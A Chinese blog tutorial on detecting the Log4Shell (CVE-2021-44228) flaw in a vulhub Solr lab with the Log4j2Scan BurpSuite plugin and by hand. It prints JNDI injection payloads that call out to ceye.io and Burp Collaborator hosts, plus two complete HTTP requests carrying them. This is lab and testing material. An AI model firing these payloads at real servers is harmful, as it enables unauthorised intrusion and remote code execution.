BurpSuite 插件 Log4j2Scan 使用和手动验证

文章目录

  • [1. 靶场简介](#1. 靶场简介)
  • [2. 手动注入](#2. 手动注入)
  • [3. BurpSuite 插件 Log4j2Scan](#3. BurpSuite 插件 Log4j2Scan)
    • [3.1 官方信息](#3.1 官方信息)
    • [3.2 使用步骤](#3.2 使用步骤)
    • [3.3 手工验证](#3.3 手工验证)

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

1. 靶场简介

https://github.com/vulhub/vulhub

如下图,vulhub 提供了 2 个 log4j 组件相关的靶场,分别是 CVE-2017-5645 和 CVE-2021-44228 版本的。

CVE-2017-5645 在这个靶场中是 TCP 请求触发的,本文针对 log4j2 的 CVE-2021-44228 漏洞用插件演示攻击。

访问 http://{目标IP}:8983/solr/#/ 进入如下页面:

2. 手动注入

官方已经提供详细步骤,不再赘述。

3. BurpSuite 插件 Log4j2Scan

3.1 官方信息

官方仓库:https://github.com/whwlsfb/Log4j2Scan

下载地址:https://github.com/whwlsfb/Log4j2Scan/releases/tag/dev-20230804T025448

3.2 使用步骤

通过 ceye.io 注册,获取个人的 identifier 和 API Token。

在插件中同步配置并启用。

代理访问:http://靶机IP:8983,插件自动扫描检测该漏洞,可以看到2个路径均存在 log4j2 的注入漏洞。

URL 参数 _ 存在 Log4j2 远程代码执行(RCE)漏洞,检测发送的请求中包含了 JNDI 注入的 payload:${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

3.3 手工验证

使用 burpsuite 自带的 Collaborator 模块生成服务地址,接收 dns 信息。

构造/solr/admin/info/system请求,在_参数后面添加 payload:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test},编码后如下:

shell 复制代码
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

burpsuite 也可以接收到 dnslog 。

请求/solr/admin/cores也同样可以构造 payload,请求也是成功的。

shell 复制代码
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

PS:vulhub 这个靶场在 log4j2 发送多次 dns 请求时,有时可能由于网络或缓存原因会接收不到 DNS 请求;可以变化下 payload 或者通过命令重启下靶场即可

shell 复制代码
docker compose restart

同类型的 BurpSuite 插件可以参考:FastjsonScan

相关推荐
se-tester12 天前
JMeter、Postman 和 SoapUI 在做接口测试上的优势和缺点
测试工具·jmeter·接口测试·postman·soapui
xixi092412 天前
selenium IDE——command
selenium·测试工具
xixi092412 天前
selenium IDE安装使用教程
ide·selenium·测试工具
Wpa.wk13 天前
har文件转为接口自动化测试用例
运维·测试工具·自动化·测试用例·接口自动化
Wpa.wk13 天前
ubuntu22桌面版安装
经验分享·测试工具
007张三丰13 天前
软件测试专栏(6/20):Selenium从0到1实战指南:元素定位、等待机制与框架封装
selenium·测试工具
测试老哥13 天前
如何使用Postman做接口测试?
自动化测试·软件测试·python·测试工具·测试用例·接口测试·postman
小二·13 天前
Go 语言系统编程与云原生开发实战(第18篇)
云原生·golang·log4j
安全不再安全13 天前
某驱动任意读漏洞分析 - 可用于游戏内存数据读取
c语言·测试工具·安全·游戏·网络安全